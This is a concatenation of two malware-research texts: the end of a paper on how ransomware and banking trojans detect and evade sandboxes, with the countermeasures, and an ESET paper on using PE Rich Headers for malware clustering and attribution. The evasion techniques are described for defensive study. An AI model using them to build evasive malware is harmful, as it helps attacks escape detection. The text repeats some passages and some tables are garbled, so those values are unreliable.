As shown in Fig.27, we noticed variant of Troldesh ransomware family evade from Virtual environment by checking the presence of Virtualization files using GetFileAttributes function. The purpose of GetFileAttributes is to retrieve the file system attribute for a specified file or directory, which is also used by malware authors to detect the file attributes of the VMware, Virtual box environment Filenames (shown in Fig.28), if the function succeed it will return the attribute of virtualization environment files which means malware detected the virtual environment and exit without showing the payload. If not, return value is INVALID_FILE_ATTRIBUTES, malware not found any virtualized environment files and shows the actual malicious payload.

Fig.26 shows sandbox evasion seen in Gandcrab Ransomware

Fig.27 Shows Troldesh Ransomware using GetFileAttributes function to check for Virtualization software Filenames
The Journey of Malware Families Evade Sandbox

We noticed variant of Troldesh ransomware family also has check for Virtualization environment by checking the window classes using FindWindowA function, retrieves the handle to the top-level window whose class name match with specified strings which is also employed by malware author to check the window in sandbox system against the specified string of Virtualization software windows class (as shown in Fig.29). If it found, then malware identifies it is running in sandbox system and behaves as benign file.

Fig.28 Shows the Virtualization software file names check seen in Troldesh Ransomware

Fig.29 Shows malware check for Virtualization software using FindWindowA function

Check for Virtualization software Windows Class Using FindWindowA()

We noticed variant of Troldesh ransomware family also has check for Virtualization environment by checking the window classes using FindWindowA function, retrieves the handle to the top-level window whose class name match with specified strings which is also employed by malware author to check the window in sandbox system against the specified string of Virtualization software windows class (as shown in Fig.29). If it found, then malware identifies it is running in sandbox system and behaves as benign file.

Fig.29 Shows malware check for Virtualization software using FindWindowA function
Sandbox Evasion Techniques seen in Ursnif family

Ursnif (also known as GOZI) is one of the most active banking trojan for long time. In recent years, it has employed various sophisticated techniques to hide the payload. We have explained below sandbox evasion techniques used by the variants of this family to get Hard disk properties and Mouse Cursor movement to evade from sandbox systems.

Check for Hard Disk properties using SETUPAPI

This sandbox evasion technique used by malware author to detect the sandbox hardware by querying the sandbox environment through SetupDiGetDeviceRegistryPropertyA. This technique was seen in older variants of this malware family and seen in adware families as well to hide malicious payload from sandbox radar.

As shown in Fig.30, malware author achieves this evasion using SETUPAPI functions (SetupDiGetClassDevsA, SetupDiEnumDeviceInfo and SetupDiGetDeviceRegistryPropertyA) to query Friendly name (value 0xc of SP_DEVINFO_DATA property) of the device present on the current system and checks the string contains Virtual HD, VMWARE, VBOX, and QEMU within the name.

Fig. 30 shows the Setupapi functions used to check Virtualization Environment Strings
Check for Mouse Cursor movement Using GetCursorPos

This technique checks the presence of Human Interaction through Mouse Cursor Movement. As shown in Fig. 31, Ursnif malware queries GetCurPos function two times with the delay of time interval between them. In this case malware author created delay using WaitForSingleObject function and compare the difference between the current and previous recorded mouse cursor co-ordinates using cmp instruction and check the value is non-zero or not. If return value is zero, then malware identified as sandbox environment and exits without showing the payload. We also seen this technique in variants of Sazoora Malware families and other malware families as well.

Fig. 31 shows GetCursorPos function seen in variants of Ursnif Malware

Sandbox Evasion Techniques Countermeasures

Full Logic Path (FLP)

Full Logic Path is one of the countermeasures to bypass sandbox evasion caused by trigger-based malware. The goal is to show the malicious payload and uncover the malware authors complete code, which is achieved by triggering as much as conditional branches in a program and provide more thorough code coverage. Generally, malware author employs conditional check to detect Sandbox environment and Human interactions evasion techniques, this approach overcome by traversing to all logical/conditional path and execute both success and failure branches. By this way all the program code is captured, malware couldn’t evade from showing the payload in sandbox systems.
Customize Sandbox Analysis Environment

This countermeasure prevents the sandbox evasion techniques target on sandbox analysis environment by customizing environment to reflect alike as system's actual environment as much as possible which includes increase the number of running processes, software installed, recent files accessed, entered commands, Typed URL's, startup entries, bookmarks, etc., with the random data in Mostly Recently Used (MRU) registry entries and return the fake information when malware checks for it, thus malware payload couldn’t evade from showing the payload in the customized sandbox Analysis environment.

Apply Machine Learning

Through Malware Learning algorithms train with as much as evasive malwares which can help to detect the sandbox evasion techniques employed with different methods. Machine learning can analyze all possible act of malware evasive signal found through sleep, obfuscation in script files, mouse click trigger, etc., inside sandbox systems as well. As Machine learning collects information present in huge number of evasive malwares, it can be used as combination to detect the malicious payload code.

Simulate Human Interaction

Often malware authors bundles the malicious payload in fake installers, which requires proper clicks on exact dialog box button (like “YES”, “NO” or “CANCEL”) to complete the execution successfully and in some cases malware authors code to throw the error intentionally and expect human to click error message button to prevent simulated human click as done in sandbox systems, one of the method to bypass such sandbox evasion technique is to use AutoIt Scripts to click the actual expected button and complete the installation successfully. Some of the sandbox evasion techniques detect the system idle state through keyboard and Mouse clicks per minutes, can also bypass through AutoIt scripts by making clicks and move cursor position in some interval of time.

Extend the Sandbox Analysis Time

Many traditional sandboxes have default analysis time (<5mins) so malwares authors coded to reach payload after that default time delay. One of the methods to circumvent this evasion technique is to extend the analysis time and get the actual malicious behaviour of the sample inside sandbox system itself. By this way if any malware checks for sleep time acceleration as done in many sandboxes can also be bypassed.

Sample Submission in different Windows OS / Language

Some malware authors intend to show the malicious payload code only in specific windows OS/ Language, so one of the countermeasures to bypass such evasion to have option in sandbox to do Multi-OS submission (each OS can be configured with different language or Operating System) and submit the samples which exits without showing any malicious behaviour.

Include Static analysis

Traditional sandboxes examine the malware behaviour only through dynamic analysis, which fail to trace the malicious payload of the sample employed with sandbox evasion techniques, one of the countermeasures is to bypass through static analysis which can log the assembly code in memory so that it can provide significant information once sample is loaded in memory even though the sandbox detonation is not completed.
Return Fake Values:
Many sandbox evasions use Windows API’s or WMI queries to fingerprint the sandbox hardware and analysis environment, one of the methods to countermeasure from those evasive malwares is to fake or spoof the return values if query done by malware to check CPU count, System Uptime, Color resolution, etc. and other possible cases.

Symbolic Execution
Sandbox systems are designed to analyze single file at a time and their analysis environment will be alive for very short span of time, so it would be difficult to handle multi stage attacks which requires file dependencies, time factor, and run time arguments. One of the countermeasures to bypass those attacks is to use symbolic execution, it has ability to uncover all possible execution paths and subsequently identify the corresponding concrete input values that would elicit to show the malware payload.

Conclusion
Many sandbox systems built on Virtualization-based or Emulation-based technologies are exploited by malware authors through various new innovative methods to detect those technologies and hide the payload from sandbox radar. Irrespective of different category of malware families, evasion techniques employed to retrieve the sandbox artifacts are common with difference in method to achieve it. Earlier the malwares were carried out the evasion from sandbox system through Windows API and used PE file types but as these methods are been known and bypassed by many sandbox defenders, so in recent years malwares authors are enhanced their code to employ WMI query and used non-PE files types like PowerShell scripts, VB scripts, MS office macro code or macro-less, etc., to evade sandbox systems.

However, the sandbox evasions are bypassed with multiple countermeasures, to act on zero-day techniques used by zero-days samples is very complex and challenging part. To handle it, bare-metal technology is one of the methods to defeat any kind of the sandbox evasion technique as of now.

Bibliography
- https://unit42.paloaltonetworks.com/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
- https://www.fortinet.com/blog/threat-research/excel-variable-targeting-japanese-users.html
- https://unit42.paloaltonetworks.com/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
Rich Headers: leveraging this mysterious artifact of the PE format for threat hunting

Peter Kálnai & Michal Poslušný / ESET, the Czech Republic

Abstract

Ever since the release of Visual Studio 97 SP3, Microsoft started placing an undocumented chunk of data between the DOS and PE headers into every native Portable Executable (PE) binary produced by its linker without any possibility to opt out. The data contains information about the build environment and the scale of the project, stored in a simple yet effective way using blocks of the following values: a product identifier, its build number, and the number of times it was used during the build process. Several research papers on this topic have been released over the years, coming up with the name "Rich Header" and shedding some light on its purpose and structure, but we feel that it has never been used to its full potential by the security industry.

When an analyst encounters a rare custom malware sample involved in, say, an APT, and is grasping at straws to draw conclusions about the case, this mysterious structure could provide some reasonable clues. Not only does it
reveal the type of components involved in the project behind the malware, and the build tools used but, forming an abounding set of variations, it also helps with locating similar samples. We introduce a hierarchy of similarity levels, together with real-world examples where they have successfully been applied.

For various crimeware kits, which are (re)distributed on daily basis, the header could suggest whether their source code is available more widely, or under the control of a single actor. Moreover, the headers from their encapsulating malware packers often manifest their own anomalies and could cluster a larger set of samples of the same nature. These inconsistencies could be easily identified and turned into heuristics based on the situation, such as: an unusual offset or the size of the header, an invalid identifier or its combination with the build version, the image size not corresponding to the magnitude of the project, etc.

We will also showcase our in-house designed database infrastructure and the tooling we've built around it: similarity lookup, rule-based notification system for malware hunting and the detection of anomalies. The database currently holds the Rich Header information for tens of millions of executables and continuously processes a live feed of new, incoming files. It is currently growing by ~180,000 unique records per day.

Introduction

PE “Rich Headers” were introduced with the release of Visual Studio 97 SP3. Microsoft never stated that it had implemented such a feature or the reason for its introduction, and never released any kind of documentation for it, so we cannot really be sure about its original purpose, but it seems that Microsoft simply wanted to have some sort of development environment fingerprint stored in the executables or perhaps to help with diagnostics and debugging. Regardless of the original intent, the Rich Headers turn out to be a very valuable block of data for malware researchers, where a few hundred bytes, when interpreted correctly, can be used as a very strong factor for attribution and detection.

![Figure 1. PE binary with Rich Headers highlighted](image)
The structure

The meaning of the “header” is actually quite straightforward. In Figure 2 we can see its structure, as described by Microsoft in the Windows 2000 source code leak [1]. The data is inserted after the IMAGE_DOS_HEADER and its stub and before the beginning of the PE header (IMAGE_NT_HEADERS structure).

Its end is marked by the Rich keyword (0x68636952) followed by an XOR key DWORD, which was used to encrypt the rest of the header. The beginning of the plaintext header is marked by the DanS keyword (0x536E6144) followed by padding of three null DWORDs.

As we can see in the Windows 2000 source code leak, in Figure 2, the data is an array of simple 64-bit PRODITEM structures that consist of two 32-bit fields: The dwProdId and dwCount. The dwProdId field is a combination of a product identifier (ProdID) and its corresponding Build number and can be considered as two separate 16-bit values instead.
ProdID represents a product from the Visual Studio development toolchain and these include objects like linkers, C/C++ compilers, MASM, resources, imports, implibs, etc. One is assigned to every object file upon creation and eventually all ProdIDs from every object file used in a project are collected and written into the resulting binary, by the linker, during the linking process. Since ProdIDs are an enumeration of numerical values, it is quite hard to identify their meaning on their own. Luckily, we can find the values and their corresponding names in the Visual Studio installation directory in one of the msobj.lib binaries. For example, Figure 3 shows the msobj140-msvcrtd.lib file, which can be found in Visual Studio 2015 – 2019, and that contains a list of all ProdID values followed by their names.

The easiest way to find the Rich Header is to look for the Rich DWORD between the DOS and PE header (which marks the end of the Rich Headers), extract the following XOR key DWORD and go backwards XORing the data until the decrypted DanS DWORD is reached.
XOR key (checksum)

The XOR key used for encryption of the Rich Header is a unique four-byte value generated for every executable built by a Microsoft compiler (linker). The value is a checksum of the DOS header, the DOS stub and plaintext Rich Header data. The checksum calculation algorithm can be found in the IMAGE::CbBuildProdidBlock function in Visual Studio's link.exe binary and the code snippet is shown in Figure 5.

Since the checksum algorithm consists of a simple addition and 32-bit rotate left, it can produce collisions. We have identified a few cases where the collision happens for one of two specific reasons...

The first case is when two projects contain identical PRODITEM entries, but in a different order. This is not necessarily unwanted behavior and might even be intended by its designer. Both samples in Table 1 have an XOR key 0xAEB29219.

Another common case is due to the 32-bit rotation used in the algorithm (ProdID + build is rotated by its count). If two projects have identical ProdID and build but different counts whose delta is a multiple of 32, the resulting checksum will be identical. Table 2 is another example of two samples that also have the XOR key 0xAEB29219[2].

---

```
dosStubSize = *(v3 + 164);
i = 0;
checksum = dosStubSize;
if ( dosStubSize )
{
    do
    {
        checksum ^= _ROL4_(data->dosStub[i], i);
        ++i;
    } while ( i < dosStubSize );
v5 = v25;
}
for ( richHeaderList = v5; richHeaderList; checksum ^= _ROL4_(dwProdId, dwCount) )
{
    dwCount = richHeaderList->dwCount;
    dwProdId = richHeaderList->dwProdId;
    richHeaderList = richHeaderList->next;
}
```

Figure 5. XOR key generation in Microsoft’s Visual Studio 2019 linker executable

---

<table>
<thead>
<tr>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>prodidMasm614</td>
</tr>
<tr>
<td>prodidLinker512</td>
</tr>
</tbody>
</table>

Table 1. XOR key collision example — order of PRODITEMs

<table>
<thead>
<tr>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>prodidLinker512</td>
</tr>
<tr>
<td>prodidMasm614</td>
</tr>
</tbody>
</table>

Table 2. XOR key collision example — counts delta
Behavior

Rich Headers reflect the nature and scale of the project and by simply looking at the ProdID names, we can see the various features used in the project like imports, resources, or whether the project was written in Assembly, C, C++ or (pre .NET) Visual Basic and approximately how large the project is based on the product counts.

Rich Headers tend to change over time in an actively developed project — new ProdIDs may appear and their counts often increase as new source files and other resources are added to the project, and with regular updates to Visual Studio the build numbers can change too. When changing a development environment completely (e.g. upgrading from VS2010 to VS2015) ProdIDs will change as well for the equivalent in the new version.

Statistics

The most important question when talking about how useful Rich Headers may be is "How often do they actually appear in executables?" If Rich Headers would appear only in a small portion of files, it would not be a very useful feature. Luckily, this is not the case:

When looking at our large malicious dataset consisting of roughly a million unique malicious Win32 and Win64 native binaries (no .NET), we found that 73.20% of the PEs contain a Rich Header. Out of the 26.80% of files that do not contain a Rich Header, many are produced by other compilers (Turbo C++, MinGW GCC, Clang, ...), or are developed in a completely different environment like Delphi or Go. When discarding such files, the percentage of PEs containing Rich Headers goes as high as 83.30%. At this point, the absence of a Rich Header is caused by explicit removal by malware authors or custom packers, etc. For our clean dataset of 120,000 samples, the representation goes as high as 94.20% and 98.50% when taking out other compilers.

We expect this number to slowly decrease over time, as malware authors become more aware of this feature and will try to obfuscate or remove the header completely. A more rapid shift would happen if Microsoft decided to drop this feature completely in some subsequent version of Visual Studio, but as of the recent release of Visual Studio 2019 Rich Headers are still generated by the linker.
Use cases / Levels of similarity

**Identical Rich Headers**

This is the strongest link between two files in terms of Rich Header similarity. Considering how often the Rich Headers may change in an actively developed project, it is not the best method of long-term detection of future samples from a given project (a good analogy is hash-based detection of malicious files). That being said, it can still be very handy in various cases.

The most common case can be the simple matching of the Rich Headers of an unknown file matching to those of some known malware to quickly identify if the file is malicious (rather like looking up a hash on VirusTotal). Rich Headers can remain unchanged for weeks or even months in the development cycle of a specific project, so a complete match with older or even newer versions of the project can still happen if the sample set is good enough.

Another useful case is possible thanks to the fact that commercial protectors like Enigma Protector, Themida or VMProtect preserve the Rich Headers of the original file. This means that when we get our hands on, say, a Themida-protected file, we could potentially look up the original non-packed payload by searching for identical Rich Headers and vice versa. This is especially valuable considering that most of these protectors change the nature of the file completely and there are no links preserved between the code or data of the original payload. Malware authors sometimes use multiple commercial packers to pack their payloads - we were able to identify the protected samples of a family called Predator Stealer\(^\text{[3]}\) (Win32/Spy.Agent.{PQC,PQK}) or to attribute several custom Lazarus tools in\(^\text{[4]}\) (Win64.NukeSped.{AA,AB}).

A similar strategy can also be applied to less advanced malware packers that also tend either to preserve the original Rich Header of the payload or to supplement the resulting packed file with their own.

Sometimes the Rich Header might also be intentionally misplaced — there is the well-known case reported by Kaspersky\(^\text{[5]}\) (and also presented at Virus Bulletin\(^\text{[6]}\)), where a component of OlympicDestroyer contains a copy of the complete Rich Headers from a file previously attributed to the Lazarus toolset. This is widely considered to be a false flag implemented by the attackers to place blame on a different actor. On the other hand, it might very well have been an Easter egg, testing the attention of malware researchers. In the past there were also cases of malware packers that copied the header from a legitimate explorer.exe. For a quick matching, it is best to calculate and store a hash of the Rich Header. In our project we use an indexed CRC64 for a blazingly fast lookup.

**Identical XOR keys**

Matching XOR keys have very similar use cases as matching Rich Headers. The advantage of using the XOR key instead of a custom hash is in it being more widely used and being supported by widespread community tools like YARA, and integrated into VirusTotal hunting rules. The disadvantages lie in the fact that the value might be artificially/explicitly changed and in the potential key collisions that we explained in the previous section.

Knowing the XOR keys are basically a checksum of the DOS header, DOS stub and Rich Header, we can quickly establish that as a malware project evolves, the key value may change fairly often (with even a single incremental change in the Rich Header count), so it is not a very useful feature when trying to track a project over a longer period of time.
On the other hand, as stated above, a malware packer is a specific project and, in many cases, shares an identical Rich Header across many packed samples. We have found several values that covered reasonable clusters, e.g. 0x8F44CEBF, 0xAEB29219, 0x8A17753B, 0xD4F1AE19, 0x887F83A7 (and the CRC64 hash varying within each key!).

There are several XOR keys associated with well-known formats, as listed in Table 3. They could be found in clean as well as malicious datasets and might be useful for a quick identification of the format.

<table>
<thead>
<tr>
<th>Format</th>
<th>XOR Keys</th>
</tr>
</thead>
<tbody>
<tr>
<td>Visual Basic</td>
<td>0x886973F3, 0x8869808D, 0x88AA42CF, 0x88A4A2A0, 0x89A99A19, 0x88CECC0B, 0x8897EBCB, 0xAC72CCFA, 0xA1A9A993, 0xD05ECF8B, 0xA83A2CFD, 0xACC98994, 0xC757A0DB, 0xA7EEAD02, 0xD1979995, 0x83CDA4D4, 0x8917A389, 0x88CEA841, 0xB917DEB4, 0x80A80373, 0x8ACD8739, 0x80D156179, 0x8ACE4D53, 0x8897FE31, 0x91A515F9, 0xD1983193, 0x80D156113, 0x9A47E9F9, 0x91A08093, 0xAD350F9, 0xD180F4F9, 0xAD8EF593, 0x9AC5A793, 0x9AC5A793</td>
</tr>
<tr>
<td>NSIS</td>
<td>0xD28650E9, 0x89F1A05, 0xA2A2D175, 0xA2D26D0E9, 0x377174A2, 0x8AB93D178, 0xA69EAD975, 0xA69EAD9175, 0x8F8240DA1</td>
</tr>
<tr>
<td>MASM 6.14 build 8444</td>
<td>0x88737619, 0x89A56EF9</td>
</tr>
<tr>
<td>WinRAR SFX</td>
<td>0x8C47CA9A, 0xF6AF8F8B, 0xD2354748, 0x5578CC97, 0x8DEFA739, 0x723F06DE, 0x16614BC7</td>
</tr>
<tr>
<td>Autoit</td>
<td>0xB8EAE369, 0xC1F1252, 0xCDA605B9, 0xA96C717, 0x86FED248, 0x273B0B7D, 0xECFA7FB6</td>
</tr>
<tr>
<td>Microsoft Cabinet File</td>
<td>0x43FACBB6</td>
</tr>
<tr>
<td>NTkernelPacker</td>
<td>0x377824C3</td>
</tr>
<tr>
<td>Thinstall</td>
<td>0x886DF311</td>
</tr>
<tr>
<td>MoleBox Ultra v4</td>
<td>0x8CABE24D</td>
</tr>
</tbody>
</table>

| Table 3. Various XOR keys associated with known formats |

Identical ProdIDs + builds (unsorted)

Disregarding the counts and matching only the files with identical ProdIDs and build numbers also turned out to be a very effective way of looking up similar files. The bigger the project, the more effective this method is and should be considered for samples with at least five Rich Header records. The CRC64 checksum of unsorted sequences of these pairs reliably identified several clusters of related malicious projects: not only when the single count of prodidImports0 varied (Win64/CoinMiner.DN, 0x105E60A5B349F444), also when multiple counts did (Win32/Pterodo, 0x745E73E5045EE80E or Win32/Kryptik.GTXI, 0x613D0D87DAF1658F).

Identical ProdIDs + builds (sorted)

In the case of the KillDisk-ed casino in Central America[^7] we found a 64-bit executable with an internal name res.dll. Another file was later acquired, with all metadata pointing to the same threat actor. Despite being Themida-protected and statically completely different (except for the agreement of PE timestamps), the set of ProdIDs together with builds were identical and did not match any clean files — see Table 4 (both detected as Win64/NukeSped.Z). This led us to a new similarity level, namely the CRC64 checksum of the sequence of ProdIDs and their builds sorted by the ProdID values to compare the Rich Header regardless of the order. Again, the counts were omitted. Also, the situation gets more complicated when searching for files from the same project that have different architectures. Rich Headers tend to be almost identical between 32-bit and 64-bit equivalents of an application, but sometimes the ProdIDs are in slightly different order. We encountered several almost identical samples of Win/GreyEnergy[^8], each for a different architecture, having the same ProdIDs in a slightly different order, Table 5.
Specific values query/Conjunction of various ProdIDs

While matching identical Rich Headers is nice and can be useful in many cases, for a more robust lookup we need some variability. This can be achieved by searching for combinations of specific ProdID[s combined with builds and a range of counts based on a value from the underlying sample. If such a query is constructed in a smart way, it can easily yield many older and/or newer samples from the same project with slightly different Rich Headers as development progressed. For example, given a file that contains prodidUtc1600_CPP build 40219 with count of 48, we might search for all files with prodidUtc1600_CPP build 40219 and count between 42 and 54. So far we have not found a generic approach for how to best construct these queries and instead use our “instincts” that we have acquired over time while working with Rich Headers.

For example, there were cases of a two-stage threat when the dropper and the payload were projects of very similar size, e.g. Win32/Exaramel.[9] Both files were 32-bit, so the order of ProdIDs combined with builds and a range of counts based on a value from the underlying sample. If such a query is constructed in a smart way, it can easily yield many older and/or newer samples from the same project with slightly different Rich Headers as development progressed. For example, given a file that contains prodidUtc1600_CPP build 40219 with count of 48, we might search for all files with prodidUtc1600_CPP build 40219 and count between 42 and 54. So far we have not found a generic approach for how to best construct these queries and instead use our “instincts” that we have acquired over time while working with Rich Headers.

For example, there were cases of a two-stage threat when the dropper and the payload were projects of very similar size, e.g. Win32/Exaramel.[9] Both files were 32-bit, so the order of ProdIDs was identical and counts very similar, except one additional ProdID in the payload, as seen in Table 6.

```
Table 4. Similar metadata from two Themida-protected 64-bit Lazarus backdoors

| prodidUtc1600_LTCG_CPP | b40219 | 9  | prodidUtc1600_LTCG_CPP | b40219 | 9  |
| prodidMasm1000         | b40219 | 27 | prodidUtc1600_CPP       | b40219 | 27 |
| prodidUtc1600_C        | b40219 | 15 | prodidUtc1600_C         | b40219 | 94 |
| prodidLinker1000       | b40219 | 1  | prodidLinker1000        | b40219 | 1  |
| prodidExport1000       | b40219 | 1  | prodidExport1000        | b40219 | 1  |
| prodidImplib9000       | b30729 | 9  | prodidImplib9000        | b30729 | 9  |
| prodidImport0          | b0     | 130 | prodidImport0           | b0     | 131 |

Table 5. Similar metadata from Win32/GreyEnergy payloads for both platforms

| prodidAliasObj1000     | b20115 | 5  | prodidAliasObj1000      | b20115 | 5  |
| prodidUtc1600_CPP      | b40219 | 25 | prodidUtc1600_CPP       | b40219 | 25 |
| prodidMasm1000         | b40219 | 17 | prodidUtc1600_C         | b40219 | 107|
| prodidUtc1600_C        | b40219 | 110| prodidMasm1000          | b40219 | 9  |
| prodidImplib9000       | b30729 | 3  | ProdIdImplib9000        | b30729 | 3  |
| prodidImport0          | b0     | [87-88] | prodidImport0           | b0     | [88-89] |
| prodidUtc1600_LTCG_CPP | b40219 | 22 | prodidUtc1600_LTCG_CPP  | b40219 | [22-23] |
| prodidExport1000       | b40219 | 1  | prodidExport1000        | b40219 | 1  |
| prodidLinker1000       | b40219 | 1  | prodidLinker1000        | b40219 | 1  |

Table 6. Similar metadata for the dropper and the payload of Win32/Exaramel

| prodidUtc1900_CPP      | b24215 | 3  | prodidUtc1900_CPP       | b24215 | 1  |
| prodidUtc1900_CPP      | b24123 | 33 | prodidUtc1900_CPP       | b24123 | 29 |
| prodidUtc1900_C        | b24215 | 7  | prodidUtc1900_C         | b24215 | 11 |
| prodidMasm1400         | b24218 | 17 | prodidMasm1400          | b24218 | 17 |
| prodidLinker1400       | b24215 | 1  | prodidLinker1400        | b24215 | 1  |
| prodidCvtres1400       | b24210 | 1  | prodidCvtres1400        | b24210 | 1  |
| prodidUtc1810_CPP      | b40116 | 121| prodidUtc1810_CPP       | b40116 | 120|
| prodidUtc1810_C        | b40116 | 24 | prodidUtc1810_C         | b40116 | 24 |
| prodidMasm1210         | b40116 | 9  | prodidMasm1210          | b40116 | 9  |
| prodidResource         | b0     | 1  | prodidResource          | b0     | 1  |
| prodidImplib9000       | b30729 | 9  | prodidImplib9000        | b30729 | 25 |
| prodidImport0          | b0     | 109| prodidUtc1500_C         | b30729 | 4  |
| prodidImport0          | b0     | 200| prodidImport0           | b0     | 200 |
```
One should always try to minimize the number of items in the query to a bare minimum to distinguish different projects, but at the same time leave some space for potential changes. Generally, ProdIDs containing "_CPP" or "_C" should be prioritized in the search as they tend to have the biggest count variability and the count distance could be around +/- 10%.

**Use cases / Anomalies**

Basing detection on Rich Header similarity or adding it as another feature to already existing detection systems is a great thing. Another potential use case is heuristic detection based on anomalies and inconsistencies that suggest the file has been tampered with, or that there is something wrong with and that should generally be brought to the attention of a researcher. Such an anomaly obviously does not instantly mean a given file is malicious, but it might be useful to flag files worthy of closer examination by an analyst. Anomalies are especially common in relation to various packers and other obfuscation strategies common in malware, as they are usually the result of tampering with the original file.

Here is the list of the most common anomalies we have observed in the wild:

**Invalid Rich Header values**

The most obvious anomaly — since the range of valid ProdIDs is known, we can easily identify files that have non-existent values (at this moment with the release of Visual Studio 2019 all values larger than 0x010e (prodidUtc1900_POGO_O_CPP) can be considered invalid). This could be applied to the build number as well, as each ProdID has only a specific range of valid build numbers, although this would require quite a lot of work due to having to gather all possible build numbers for each ProdID. Lastly, we could also check for suspicious count values, as for valid projects they are mostly in the tens or hundreds and very rarely in the thousands, so finding a valid ProdID with a count greater than a million could be an indicator too.

**Duplicate Rich Header values**

Every file with a Rich Header can only have a single, unique combination of ProdID and a build number. This is obvious, as the number of those records is represented by the count field instead, so duplicate records are invalid behavior. Around 1.19% of files in our malicious dataset contain duplicate records. There is not a single one in the clean dataset.

**Invalid XOR key checksum**

Since we know how the checksum is calculated, the supplied XOR key can be easily verified. If the value is incorrect, we can assume that there is potentially something wrong. In our malicious dataset 9.06% files have an invalid XOR key value while it’s only around 0.95% in the clean dataset.

**Rich Header offset**

The Rich Header offset is the position in the PE at which that header begins. It is based on the size of the DOS stub, as it begins right after that, so its value varies with the DOS stub. Since most files nowadays do not use the DOS part of the PE at all, they have the widely known default “This program cannot be run in DOS mode.” stub generated by the compiler and thanks to that, in most files the Rich Header starts at file offset 0x80. While the mentioned starting position
is present in ~99% of cases, there are still many, even valid, cases where the offset differs, so it is not a good idea to look for Rich Headers based on this offset (like YARA does\[10\]). Out of 120,000 real-world clean applications with Rich Headers in our clean dataset, only 0.06% do not match the offset 0x80. The distribution for our malicious dataset can be seen in Figure 7.

There are few relatively common offsets that can be found even in clean, legitimate projects like some kernel drivers (probably caused by an alignment issue, because even the default stub is aligned to 512 bytes). On the other hand, there are also several offsets that are used by a specific malware family or software project — those we have identified are listed in Table 7 — it could be one of the ways to identify new samples or at least use it as an indicator.

![Figure 7. Distribution of Rich Header offsets in our malicious dataset](image)

<table>
<thead>
<tr>
<th>Offset</th>
<th>Example</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x40</td>
<td>Various</td>
<td>the null DOS stub</td>
</tr>
<tr>
<td>0x48</td>
<td>Various</td>
<td>the minimal valid DOS stub</td>
</tr>
<tr>
<td>0x60</td>
<td>Win32/Adware.WintionalityChecker</td>
<td></td>
</tr>
<tr>
<td>0x68</td>
<td>Win32/TrojanDownloader.Waski</td>
<td></td>
</tr>
<tr>
<td>0x8C</td>
<td>Win32/Adware.Virtumonde</td>
<td></td>
</tr>
<tr>
<td>0xE0</td>
<td>Win32/TrojanDropper.Agent.NJV</td>
<td></td>
</tr>
<tr>
<td>0x100</td>
<td>ESET Modules</td>
<td>clean</td>
</tr>
<tr>
<td>0x200</td>
<td>Various</td>
<td>some kernel drivers</td>
</tr>
<tr>
<td>0x2A8</td>
<td>PKSFX Self Extract Utility by PKWARE Inc.</td>
<td>clean</td>
</tr>
<tr>
<td>0x600</td>
<td>Win32/Adware.Trymedia</td>
<td></td>
</tr>
</tbody>
</table>

Table 7. Various types of Rich Header offsets

PE Optional Header linker information mismatch

The version of a linker used for building the file is also stored in the MajorLinkerVersion and MinorLinkerVersion fields inside the PE Optional Header. Comparing this version to the linker version found in Rich Headers (i.e. prodIdLinker800 should have Optional Header linker version set to 8.0) is also a good way to find inconsistencies, packed files, tampered Rich Headers and so on. There are a few such anomalies caused by known packers; for example, the Armadillo packer changes the Optional Header linker version to 83.82, but does not alter the Rich Header.
Imports

The `prodidImport0` identifier is related to the number of functions in the PE import directory. The values are not always equal but correlate highly and tend to be very close together. A large difference between the number of imports and the count of `prodidImport0`, or its complete absence in the Rich Header when imports are present, and vice versa, could be a sign of a packed file or a faked Rich Header.

Resources

When an executable contains a resource directory populated with resources, it should always be reflected in the Rich Header by containing `prodidCvtresXXXX` where `XXXX` is the version of Visual Studio used. The count should always be 1, regardless the number of resources the file has. For example, when building a project that has any kind of resource included in Visual Studio 2015 (14.0), the resulting binary should always contain `prodidCvtres1400 = 1` (in our malicious dataset, 4.12% of files have a `prodidCvtresXXXX` count other than 1; in our clean dataset it is 0.01% of files).

There are multiple ideas for potential heuristics:

1. Files with `prodidCvtresXXXX` having the count not equal to 1
2. Files with resources not containing the Cvtres identifier and vice versa
3. The version of `prodidCvtresXXXX` not corresponding with the linker version/other ProdIDs, i.e. file having `prodidCvtres1400` and `prodidLinker1200`.

APT

In this section we provide some examples where Rich Header metadata provided interesting information and extended the overall knowledge about executables from APT toolsets. This is not the first attempt to look at Rich Headers and their usability in APT research\[11\].

Win32/Industroyer & Win32/Exaramel

The article\[9\] uncovered strong code similarities between the Win32/Industroyer main backdoor (introduced to the world in\[12\]) and one of the backdoors (Win32/Exaramel) used by TeleBots — the group behind the massive NotPetya (win32/Diskcoder.C) ransomware outbreak. Taking an additional look at the Rich Headers metadata, it turns out that there is additional similarity at the project development and build level — see Table 8.

| prodidMasm1210 | b40116 = 9 |
| prodidUtc1810_CPP | b40116 = 120 |
| prodidUtc1810_C | b40116 = 24 |
| prodidMasm1400 | b24123 = 17 |
| prodidUtc1900_CPP | b24123 = 29 |
| prodidUtc1900_C | b24123 = 17 |
| prodidImplib900 | b38729 = [15-25] |
| prodidImport0 | b0 = [140-200] |
| prodidCvtres1400 | b24210 = 1 |
| prodidLinker1400 | b24215 = 1 |

Table 8. Rule based on the Rich Header values common to Industroyer and Exaramel
Win{32,64}/NukeSped

This is ESET’s detection name used for samples from the Lazarus toolset. It is well known that the toolset is large, heterogeneous from various points of view and all the sources are kept close. In [4] we tried to group executables based on their Rich Header characteristics and the version of the Microsoft linker used. As a result, two main Lazarus tool subgroups were identified, namely the first one using VS 98 for 32-bit compilations and VS 2010 for 64-bit, and the second one using VS 2010 for both. However, several anomalous combinations were discovered too, e.g. one typical malicious project compiled as a 32-bit binary in VS 98 and as a 64-bit binary in VS 2013. In Table 9 there are two examples of queries that successfully identified malicious clusters without causing an uncomfortable level of noise.

| prodidUtc1600_C   | 1600_CPP b40219 = [50-300] |
| prodidImports     | 1600_CPP b0 = [227-228]     |
| prodidImplib900   | 1600_CPP b30729 = 23        |
| prodidAliasObj1000| 1600_CPP b20115 = 7         |
| prodidUtc1500_C   | 1500_CPP b30729 = 8         |
| prodidExport1000  | 1500_CPP b40219 = 1         |
| prodidUtc1600_C   | 1600_CPP b40219 = [142-145]|
| prodidUtc1600_CPP | 1600_CPP b40219 = [61-62]  |

